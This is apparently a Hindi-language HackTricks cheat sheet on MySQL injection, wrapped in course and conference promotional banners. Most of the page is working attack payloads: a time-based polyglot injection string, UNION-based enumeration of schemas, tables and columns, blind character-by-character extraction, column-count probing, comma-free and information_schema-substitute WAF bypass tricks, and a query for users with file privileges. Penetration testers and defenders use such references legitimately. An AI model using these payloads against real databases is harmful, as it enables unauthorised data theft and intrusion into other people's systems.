MySQL injection

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

​​RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उत्तेजक मिलन स्थल है हर विषय में।

Comments

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

दिलचस्प फंक्शन

कन्फर्म Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

उपयोगी फ़ंक्शन्स

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

सभी इन्जेक्शन

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

फ्लो

ध्यान रखें कि "आधुनिक" संस्करणों में MySQL में आप "information_schema.tables" को "mysql.innodb_table_stats" के लिए प्रतिस्थापित कर सकते हैं (यह WAFs को छलने के लिए उपयोगी हो सकता है)।

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

केवल 1 मान

  • group_concat()

  • Limit X,1

ब्लाइंड एक के बाद एक

  • substr(version(),X,1)='r' या substring(version(),X,1)=0x70 या ascii(substr(version(),X,1))=112

  • mid(version(),X,1)='5'

ब्लाइंड जोड़ना

  • LPAD(version(),1...lenght(version()),'1')='asd'...

  • RPAD(version(),1...lenght(version()),'1')='asd'...

  • SELECT RIGHT(version(),1...lenght(version()))='asd'...

  • SELECT LEFT(version(),1...lenght(version()))='asd'...

  • SELECT INSTR('foobarbar', 'fo...')=1

कॉलमों की संख्या का पता लगाना

एक सरल ORDER का उपयोग

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL यूनियन आधारित

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

यहाँ सीखें कि एक Mysql इंजेक्शन का दुरुपयोग करके SSRF प्राप्त करने के विभिन्न विकल्प** हैं।**

WAF बायपास ट्रिक्स

Information_schema विकल्प

ध्यान रखें कि "आधुनिक" MySQL के संस्करणों में आप information_schema.tables को mysql.innodb_table_stats या sys.x$schema_flattened_keys या sys.schema_table_statistics के लिए प्रतिस्थापित कर सकते हैं।

COMMAS के बिना MySQL इंजेक्शन

कोई कमा उपयोग किए बिना 2 कॉलम्स का चयन करें (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

कॉलम के नाम के बिना मानों को पुनः प्राप्त करना

यदि किसी समय आपको तालिका का नाम पता होता है लेकिन आपको तालिका के अंदर कॉलम का नाम नहीं पता है, तो आप कोशिश कर सकते हैं कि कितने कॉलम हैं उन्हें ढूंढने के लिए कुछ ऐसा निष्पादन करें:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

मान लीजिए कि 2 कॉलम हैं (पहला कॉलम आईडी है) और दूसरा फ्लैग है, आप फ्लैग की सामग्री को ब्रूटफोर्स करने के लिए प्रयास कर सकते हैं, एक वर्ण से दूसरे वर्ण की कोशिश करके:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

अधिक जानकारी https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

MySQL इतिहास

आप sys.x$statement_analysis तालिका पढ़कर MySQL में अन्य क्रियाएँ देख सकते हैं

संस्करण वैकल्पिकs

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

अन्य MYSQL इंजेक्शन गाइड

संदर्भ

​​​​RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबाऊ मिलन स्थल है।

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

Last updated